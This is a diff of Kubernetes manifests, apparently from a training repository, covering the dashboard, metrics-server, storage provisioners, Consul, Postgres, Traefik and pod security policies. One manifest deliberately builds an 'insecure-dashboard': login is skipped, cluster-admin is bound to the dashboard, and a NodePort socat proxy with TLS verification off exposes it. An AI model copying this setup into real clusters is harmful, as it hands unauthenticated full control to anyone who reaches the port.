image: kubernetesui/dashboard:v2.0.0-rc2
|
|
||||||
imagePullPolicy: Always
|
|
||||||
ports:
|
|
||||||
- containerPort: 8443
|
|
||||||
protocol: TCP
|
|
||||||
args:
|
|
||||||
- --auto-generate-certificates
|
|
||||||
- --namespace=kubernetes-dashboard
|
|
||||||
# Uncomment the following line to manually specify Kubernetes API server Host
|
|
||||||
# If not specified, Dashboard will attempt to auto discover the API server and connect
|
|
||||||
# to it. Uncomment only if the default does not work.
|
|
||||||
# - --apiserver-host=http://my-address:port
|
|
||||||
- --enable-skip-login
|
|
||||||
volumeMounts:
|
|
||||||
- name: kubernetes-dashboard-certs
|
|
||||||
mountPath: /certs
|
|
||||||
# Create on-disk volume to store exec logs
|
|
||||||
- mountPath: /tmp
|
|
||||||
name: tmp-volume
|
|
||||||
livenessProbe:
|
|
||||||
httpGet:
|
|
||||||
scheme: HTTPS
|
|
||||||
path: /
|
|
||||||
port: 8443
|
|
||||||
initialDelaySeconds: 30
|
|
||||||
timeoutSeconds: 30
|
|
||||||
securityContext:
|
|
||||||
allowPrivilegeEscalation: false
|
|
||||||
readOnlyRootFilesystem: true
|
|
||||||
runAsUser: 1001
|
|
||||||
runAsGroup: 2001
|
|
||||||
volumes:
|
|
||||||
- name: kubernetes-dashboard-certs
|
|
||||||
secret:
|
|
||||||
secretName: kubernetes-dashboard-certs
|
|
||||||
- name: tmp-volume
|
|
||||||
emptyDir: {}
|
|
||||||
serviceAccountName: kubernetes-dashboard
|
|
||||||
nodeSelector:
|
|
||||||
"beta.kubernetes.io/os": linux
|
|
||||||
# Comment the following tolerations if Dashboard must not be deployed on master
|
|
||||||
tolerations:
|
|
||||||
- key: node-role.kubernetes.io/master
|
|
||||||
effect: NoSchedule
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: Service
|
|
||||||
apiVersion: v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: dashboard-metrics-scraper
|
|
||||||
name: dashboard-metrics-scraper
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 8000
|
|
||||||
targetPort: 8000
|
|
||||||
selector:
|
|
||||||
k8s-app: dashboard-metrics-scraper
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: Deployment
|
|
||||||
apiVersion: apps/v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: dashboard-metrics-scraper
|
|
||||||
name: dashboard-metrics-scraper
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
revisionHistoryLimit: 10
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: dashboard-metrics-scraper
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: dashboard-metrics-scraper
|
|
||||||
annotations:
|
|
||||||
seccomp.security.alpha.kubernetes.io/pod: 'runtime/default'
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: dashboard-metrics-scraper
|
|
||||||
image: kubernetesui/metrics-scraper:v1.0.2
|
|
||||||
ports:
|
|
||||||
- containerPort: 8000
|
|
||||||
protocol: TCP
|
|
||||||
livenessProbe:
|
|
||||||
httpGet:
|
|
||||||
scheme: HTTP
|
|
||||||
path: /
|
|
||||||
port: 8000
|
|
||||||
initialDelaySeconds: 30
|
|
||||||
timeoutSeconds: 30
|
|
||||||
volumeMounts:
|
|
||||||
- mountPath: /tmp
|
|
||||||
name: tmp-volume
|
|
||||||
securityContext:
|
|
||||||
allowPrivilegeEscalation: false
|
|
||||||
readOnlyRootFilesystem: true
|
|
||||||
runAsUser: 1001
|
|
||||||
runAsGroup: 2001
|
|
||||||
serviceAccountName: kubernetes-dashboard
|
|
||||||
nodeSelector:
|
|
||||||
"beta.kubernetes.io/os": linux
|
|
||||||
# Comment the following tolerations if Dashboard must not be deployed on master
|
|
||||||
tolerations:
|
|
||||||
- key: node-role.kubernetes.io/master
|
|
||||||
effect: NoSchedule
|
|
||||||
volumes:
|
|
||||||
- name: tmp-volume
|
|
||||||
emptyDir: {}
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: dashboard
|
|
||||||
name: dashboard
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: dashboard
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: dashboard
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- args:
|
|
||||||
- sh
|
|
||||||
- -c
|
|
||||||
- apk add --no-cache socat && socat TCP-LISTEN:80,fork,reuseaddr OPENSSL:kubernetes-dashboard.kubernetes-dashboard:443,verify=0
|
|
||||||
image: alpine
|
|
||||||
name: dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: dashboard
|
|
||||||
name: dashboard
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 80
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 80
|
|
||||||
selector:
|
|
||||||
app: dashboard
|
|
||||||
type: NodePort
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: insecure-dashboard
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: cluster-admin
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Pod
|
Kind: Pod
|
||||||
metadata:
|
metadata:
|
||||||
name: hello
|
name: hello
|
||||||
namespace: default
|
namespace: default
|
||||||
|
|||||||
@@ -12,6 +12,11 @@
|
|||||||
# See the License for the specific language governing permissions and
|
# See the License for the specific language governing permissions and
|
||||||
# limitations under the License.
|
# limitations under the License.
|
||||||
|
|
||||||
|
# Configuration to deploy release version of the Dashboard UI compatible with
|
||||||
|
# Kubernetes 1.8.
|
||||||
|
#
|
||||||
|
# Example usage: kubectl create -f <this_file>
|
||||||
|
|
||||||
# ------------------- Dashboard Secret ------------------- #
|
# ------------------- Dashboard Secret ------------------- #
|
||||||
|
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
@@ -90,7 +95,7 @@ subjects:
|
|||||||
# ------------------- Dashboard Deployment ------------------- #
|
# ------------------- Dashboard Deployment ------------------- #
|
||||||
|
|
||||||
kind: Deployment
|
kind: Deployment
|
||||||
apiVersion: apps/v1
|
apiVersion: apps/v1beta2
|
||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
k8s-app: kubernetes-dashboard
|
k8s-app: kubernetes-dashboard
|
||||||
@@ -109,7 +114,7 @@ spec:
|
|||||||
spec:
|
spec:
|
||||||
containers:
|
containers:
|
||||||
- name: kubernetes-dashboard
|
- name: kubernetes-dashboard
|
||||||
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
|
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
|
||||||
ports:
|
ports:
|
||||||
- containerPort: 8443
|
- containerPort: 8443
|
||||||
protocol: TCP
|
protocol: TCP
|
||||||
|
|||||||
@@ -1,110 +0,0 @@
|
|||||||
# This is a local copy of:
|
|
||||||
# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Namespace
|
|
||||||
metadata:
|
|
||||||
name: local-path-storage
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: local-path-provisioner-service-account
|
|
||||||
namespace: local-path-storage
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: local-path-provisioner-role
|
|
||||||
namespace: local-path-storage
|
|
||||||
rules:
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["nodes", "persistentvolumeclaims"]
|
|
||||||
verbs: ["get", "list", "watch"]
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["endpoints", "persistentvolumes", "pods"]
|
|
||||||
verbs: ["*"]
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["events"]
|
|
||||||
verbs: ["create", "patch"]
|
|
||||||
- apiGroups: ["storage.k8s.io"]
|
|
||||||
resources: ["storageclasses"]
|
|
||||||
verbs: ["get", "list", "watch"]
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: local-path-provisioner-bind
|
|
||||||
namespace: local-path-storage
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: local-path-provisioner-role
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: local-path-provisioner-service-account
|
|
||||||
namespace: local-path-storage
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
name: local-path-provisioner
|
|
||||||
namespace: local-path-storage
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: local-path-provisioner
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: local-path-provisioner
|
|
||||||
spec:
|
|
||||||
serviceAccountName: local-path-provisioner-service-account
|
|
||||||
containers:
|
|
||||||
- name: local-path-provisioner
|
|
||||||
image: rancher/local-path-provisioner:v0.0.8
|
|
||||||
imagePullPolicy: Always
|
|
||||||
command:
|
|
||||||
- local-path-provisioner
|
|
||||||
- --debug
|
|
||||||
- start
|
|
||||||
- --config
|
|
||||||
- /etc/config/config.json
|
|
||||||
volumeMounts:
|
|
||||||
- name: config-volume
|
|
||||||
mountPath: /etc/config/
|
|
||||||
env:
|
|
||||||
- name: POD_NAMESPACE
|
|
||||||
valueFrom:
|
|
||||||
fieldRef:
|
|
||||||
fieldPath: metadata.namespace
|
|
||||||
volumes:
|
|
||||||
- name: config-volume
|
|
||||||
configMap:
|
|
||||||
name: local-path-config
|
|
||||||
---
|
|
||||||
apiVersion: storage.k8s.io/v1
|
|
||||||
kind: StorageClass
|
|
||||||
metadata:
|
|
||||||
name: local-path
|
|
||||||
provisioner: rancher.io/local-path
|
|
||||||
volumeBindingMode: WaitForFirstConsumer
|
|
||||||
reclaimPolicy: Delete
|
|
||||||
---
|
|
||||||
kind: ConfigMap
|
|
||||||
apiVersion: v1
|
|
||||||
metadata:
|
|
||||||
name: local-path-config
|
|
||||||
namespace: local-path-storage
|
|
||||||
data:
|
|
||||||
config.json: |-
|
|
||||||
{
|
|
||||||
"nodePathMap":[
|
|
||||||
{
|
|
||||||
"node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
|
|
||||||
"paths":["/opt/local-path-provisioner"]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,138 +0,0 @@
|
|||||||
kind: ClusterRole
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
metadata:
|
|
||||||
name: system:aggregated-metrics-reader
|
|
||||||
labels:
|
|
||||||
rbac.authorization.k8s.io/aggregate-to-view: "true"
|
|
||||||
rbac.authorization.k8s.io/aggregate-to-edit: "true"
|
|
||||||
rbac.authorization.k8s.io/aggregate-to-admin: "true"
|
|
||||||
rules:
|
|
||||||
- apiGroups: ["metrics.k8s.io"]
|
|
||||||
resources: ["pods"]
|
|
||||||
verbs: ["get", "list", "watch"]
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: metrics-server:system:auth-delegator
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: system:auth-delegator
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: RoleBinding
|
|
||||||
metadata:
|
|
||||||
name: metrics-server-auth-reader
|
|
||||||
namespace: kube-system
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: Role
|
|
||||||
name: extension-apiserver-authentication-reader
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
---
|
|
||||||
apiVersion: apiregistration.k8s.io/v1beta1
|
|
||||||
kind: APIService
|
|
||||||
metadata:
|
|
||||||
name: v1beta1.metrics.k8s.io
|
|
||||||
spec:
|
|
||||||
service:
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
group: metrics.k8s.io
|
|
||||||
version: v1beta1
|
|
||||||
insecureSkipTLSVerify: true
|
|
||||||
groupPriorityMinimum: 100
|
|
||||||
versionPriority: 100
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: metrics-server
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: metrics-server
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
name: metrics-server
|
|
||||||
labels:
|
|
||||||
k8s-app: metrics-server
|
|
||||||
spec:
|
|
||||||
serviceAccountName: metrics-server
|
|
||||||
volumes:
|
|
||||||
# mount in tmp so we can safely use from-scratch images and/or read-only containers
|
|
||||||
- name: tmp-dir
|
|
||||||
emptyDir: {}
|
|
||||||
containers:
|
|
||||||
- name: metrics-server
|
|
||||||
image: k8s.gcr.io/metrics-server-amd64:v0.3.3
|
|
||||||
imagePullPolicy: Always
|
|
||||||
volumeMounts:
|
|
||||||
- name: tmp-dir
|
|
||||||
mountPath: /tmp
|
|
||||||
args:
|
|
||||||
- --kubelet-preferred-address-types=InternalIP
|
|
||||||
- --kubelet-insecure-tls
|
|
||||||
- --metric-resolution=5s
|
|
||||||
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
kubernetes.io/name: "Metrics-server"
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
k8s-app: metrics-server
|
|
||||||
ports:
|
|
||||||
- port: 443
|
|
||||||
protocol: TCP
|
|
||||||
targetPort: 443
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: system:metrics-server
|
|
||||||
rules:
|
|
||||||
- apiGroups:
|
|
||||||
- ""
|
|
||||||
resources:
|
|
||||||
- pods
|
|
||||||
- nodes
|
|
||||||
- nodes/stats
|
|
||||||
verbs:
|
|
||||||
- get
|
|
||||||
- list
|
|
||||||
- watch
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: system:metrics-server
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: system:metrics-server
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: metrics-server
|
|
||||||
namespace: kube-system
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
metadata:
|
|
||||||
name: nginx-without-volume
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: nginx
|
|
||||||
image: nginx
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
metadata:
|
|
||||||
name: nginx-with-volume
|
|
||||||
spec:
|
|
||||||
volumes:
|
|
||||||
- name: www
|
|
||||||
containers:
|
|
||||||
- name: nginx
|
|
||||||
image: nginx
|
|
||||||
volumeMounts:
|
|
||||||
- name: www
|
|
||||||
mountPath: /usr/share/nginx/html/
|
|
||||||
@@ -1,21 +0,0 @@
|
|||||||
apiVersion: v1
|
|
||||||
kind: Pod
|
|
||||||
metadata:
|
|
||||||
name: nginx-with-git
|
|
||||||
spec:
|
|
||||||
volumes:
|
|
||||||
- name: www
|
|
||||||
containers:
|
|
||||||
- name: nginx
|
|
||||||
image: nginx
|
|
||||||
volumeMounts:
|
|
||||||
- name: www
|
|
||||||
mountPath: /usr/share/nginx/html/
|
|
||||||
- name: git
|
|
||||||
image: alpine
|
|
||||||
command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
|
|
||||||
volumeMounts:
|
|
||||||
- name: www
|
|
||||||
mountPath: /www/
|
|
||||||
restartPolicy: OnFailure
|
|
||||||
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
metadata:
|
metadata:
|
||||||
name: nginx-with-init
|
name: nginx-with-volume
|
||||||
spec:
|
spec:
|
||||||
volumes:
|
volumes:
|
||||||
- name: www
|
- name: www
|
||||||
@@ -11,10 +11,11 @@ spec:
|
|||||||
volumeMounts:
|
volumeMounts:
|
||||||
- name: www
|
- name: www
|
||||||
mountPath: /usr/share/nginx/html/
|
mountPath: /usr/share/nginx/html/
|
||||||
initContainers:
|
|
||||||
- name: git
|
- name: git
|
||||||
image: alpine
|
image: alpine
|
||||||
command: [ "sh", "-c", "apk add --no-cache git && git clone https://github.com/octocat/Spoon-Knife /www" ]
|
command: [ "sh", "-c", "apk add --no-cache git && git clone https://github.com/octocat/Spoon-Knife /www" ]
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- name: www
|
- name: www
|
||||||
mountPath: /www/
|
mountPath: /www/
|
||||||
|
restartPolicy: OnFailure
|
||||||
|
|
||||||
@@ -1,98 +0,0 @@
|
|||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: persistentconsul
|
|
||||||
rules:
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources:
|
|
||||||
- pods
|
|
||||||
verbs:
|
|
||||||
- get
|
|
||||||
- list
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: persistentconsul
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: persistentconsul
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: persistentconsul
|
|
||||||
namespace: default
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: persistentconsul
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Service
|
|
||||||
metadata:
|
|
||||||
name: persistentconsul
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 8500
|
|
||||||
name: http
|
|
||||||
selector:
|
|
||||||
app: persistentconsul
|
|
||||||
---
|
|
||||||
apiVersion: apps/v1
|
|
||||||
kind: StatefulSet
|
|
||||||
metadata:
|
|
||||||
name: persistentconsul
|
|
||||||
spec:
|
|
||||||
serviceName: persistentconsul
|
|
||||||
replicas: 3
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: persistentconsul
|
|
||||||
volumeClaimTemplates:
|
|
||||||
- metadata:
|
|
||||||
name: data
|
|
||||||
spec:
|
|
||||||
accessModes:
|
|
||||||
- ReadWriteOnce
|
|
||||||
resources:
|
|
||||||
requests:
|
|
||||||
storage: 1Gi
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: persistentconsul
|
|
||||||
spec:
|
|
||||||
serviceAccountName: persistentconsul
|
|
||||||
affinity:
|
|
||||||
podAntiAffinity:
|
|
||||||
requiredDuringSchedulingIgnoredDuringExecution:
|
|
||||||
- labelSelector:
|
|
||||||
matchExpressions:
|
|
||||||
- key: app
|
|
||||||
operator: In
|
|
||||||
values:
|
|
||||||
- persistentconsul
|
|
||||||
topologyKey: kubernetes.io/hostname
|
|
||||||
terminationGracePeriodSeconds: 10
|
|
||||||
containers:
|
|
||||||
- name: consul
|
|
||||||
image: "consul:1.6"
|
|
||||||
volumeMounts:
|
|
||||||
- name: data
|
|
||||||
mountPath: /consul/data
|
|
||||||
args:
|
|
||||||
- "agent"
|
|
||||||
- "-bootstrap-expect=3"
|
|
||||||
- "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
|
|
||||||
- "-client=0.0.0.0"
|
|
||||||
- "-data-dir=/consul/data"
|
|
||||||
- "-server"
|
|
||||||
- "-ui"
|
|
||||||
lifecycle:
|
|
||||||
preStop:
|
|
||||||
exec:
|
|
||||||
command:
|
|
||||||
- /bin/sh
|
|
||||||
- -c
|
|
||||||
- consul leave
|
|
||||||
1160
k8s/portworx.yaml
1160
k8s/portworx.yaml
File diff suppressed because it is too large
Load Diff
@@ -12,17 +12,10 @@ spec:
|
|||||||
labels:
|
labels:
|
||||||
app: postgres
|
app: postgres
|
||||||
spec:
|
spec:
|
||||||
#schedulerName: stork
|
schedulerName: stork
|
||||||
initContainers:
|
|
||||||
- name: rmdir
|
|
||||||
image: alpine
|
|
||||||
volumeMounts:
|
|
||||||
- mountPath: /vol
|
|
||||||
name: postgres
|
|
||||||
command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
|
|
||||||
containers:
|
containers:
|
||||||
- name: postgres
|
- name: postgres
|
||||||
image: postgres:11
|
image: postgres:10.5
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- mountPath: /var/lib/postgresql/data
|
- mountPath: /var/lib/postgresql/data
|
||||||
name: postgres
|
name: postgres
|
||||||
|
|||||||
@@ -1,39 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: policy/v1beta1
|
|
||||||
kind: PodSecurityPolicy
|
|
||||||
metadata:
|
|
||||||
name: privileged
|
|
||||||
annotations:
|
|
||||||
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
|
|
||||||
spec:
|
|
||||||
privileged: true
|
|
||||||
allowPrivilegeEscalation: true
|
|
||||||
allowedCapabilities:
|
|
||||||
- '*'
|
|
||||||
volumes:
|
|
||||||
- '*'
|
|
||||||
hostNetwork: true
|
|
||||||
hostPorts:
|
|
||||||
- min: 0
|
|
||||||
max: 65535
|
|
||||||
hostIPC: true
|
|
||||||
hostPID: true
|
|
||||||
runAsUser:
|
|
||||||
rule: 'RunAsAny'
|
|
||||||
seLinux:
|
|
||||||
rule: 'RunAsAny'
|
|
||||||
supplementalGroups:
|
|
||||||
rule: 'RunAsAny'
|
|
||||||
fsGroup:
|
|
||||||
rule: 'RunAsAny'
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: psp:privileged
|
|
||||||
rules:
|
|
||||||
- apiGroups: ['policy']
|
|
||||||
resources: ['podsecuritypolicies']
|
|
||||||
verbs: ['use']
|
|
||||||
resourceNames: ['privileged']
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: extensions/v1beta1
|
|
||||||
kind: PodSecurityPolicy
|
|
||||||
metadata:
|
|
||||||
annotations:
|
|
||||||
apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
|
|
||||||
apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
|
|
||||||
seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
|
|
||||||
seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
|
|
||||||
name: restricted
|
|
||||||
spec:
|
|
||||||
allowPrivilegeEscalation: false
|
|
||||||
fsGroup:
|
|
||||||
rule: RunAsAny
|
|
||||||
runAsUser:
|
|
||||||
rule: RunAsAny
|
|
||||||
seLinux:
|
|
||||||
rule: RunAsAny
|
|
||||||
supplementalGroups:
|
|
||||||
rule: RunAsAny
|
|
||||||
volumes:
|
|
||||||
- configMap
|
|
||||||
- emptyDir
|
|
||||||
- projected
|
|
||||||
- secret
|
|
||||||
- downwardAPI
|
|
||||||
- persistentVolumeClaim
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: psp:restricted
|
|
||||||
rules:
|
|
||||||
- apiGroups: ['policy']
|
|
||||||
resources: ['podsecuritypolicies']
|
|
||||||
verbs: ['use']
|
|
||||||
resourceNames: ['restricted']
|
|
||||||
|
|
||||||
@@ -6,16 +6,13 @@ metadata:
|
|||||||
namespace: kube-system
|
namespace: kube-system
|
||||||
---
|
---
|
||||||
kind: DaemonSet
|
kind: DaemonSet
|
||||||
apiVersion: apps/v1
|
apiVersion: extensions/v1beta1
|
||||||
metadata:
|
metadata:
|
||||||
name: traefik-ingress-controller
|
name: traefik-ingress-controller
|
||||||
namespace: kube-system
|
namespace: kube-system
|
||||||
labels:
|
labels:
|
||||||
k8s-app: traefik-ingress-lb
|
k8s-app: traefik-ingress-lb
|
||||||
spec:
|
spec:
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: traefik-ingress-lb
|
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
@@ -29,7 +26,7 @@ spec:
|
|||||||
serviceAccountName: traefik-ingress-controller
|
serviceAccountName: traefik-ingress-controller
|
||||||
terminationGracePeriodSeconds: 60
|
terminationGracePeriodSeconds: 60
|
||||||
containers:
|
containers:
|
||||||
- image: traefik:1.7
|
- image: traefik
|
||||||
name: traefik-ingress-lb
|
name: traefik-ingress-lb
|
||||||
ports:
|
ports:
|
||||||
- name: http
|
- name: http
|
||||||
|
|||||||
@@ -1,33 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: jean.doe
|
|
||||||
namespace: users
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: users:jean.doe
|
|
||||||
rules:
|
|
||||||
- apiGroups: [ certificates.k8s.io ]
|
|
||||||
resources: [ certificatesigningrequests ]
|
|
||||||
verbs: [ create ]
|
|
||||||
- apiGroups: [ certificates.k8s.io ]
|
|
||||||
resourceNames: [ users:jean.doe ]
|
|
||||||
resources: [ certificatesigningrequests ]
|
|
||||||
verbs: [ get, create, delete, watch ]
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: users:jean.doe
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: users:jean.doe
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: jean.doe
|
|
||||||
namespace: users
|
|
||||||
|
|
||||||
@@ -1,70 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: PersistentVolume
|
|
||||||
metadata:
|
|
||||||
name: consul-node2
|
|
||||||
annotations:
|
|
||||||
node: node2
|
|
||||||
spec:
|
|
||||||
capacity:
|
|
||||||
storage: 10Gi
|
|
||||||
accessModes:
|
|
||||||
- ReadWriteOnce
|
|
||||||
persistentVolumeReclaimPolicy: Delete
|
|
||||||
local:
|
|
||||||
path: /mnt/consul
|
|
||||||
nodeAffinity:
|
|
||||||
required:
|
|
||||||
nodeSelectorTerms:
|
|
||||||
- matchExpressions:
|
|
||||||
- key: kubernetes.io/hostname
|
|
||||||
operator: In
|
|
||||||
values:
|
|
||||||
- node2
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: PersistentVolume
|
|
||||||
metadata:
|
|
||||||
name: consul-node3
|
|
||||||
annotations:
|
|
||||||
node: node3
|
|
||||||
spec:
|
|
||||||
capacity:
|
|
||||||
storage: 10Gi
|
|
||||||
accessModes:
|
|
||||||
- ReadWriteOnce
|
|
||||||
persistentVolumeReclaimPolicy: Delete
|
|
||||||
local:
|
|
||||||
path: /mnt/consul
|
|
||||||
nodeAffinity:
|
|
||||||
required:
|
|
||||||
nodeSelectorTerms:
|
|
||||||
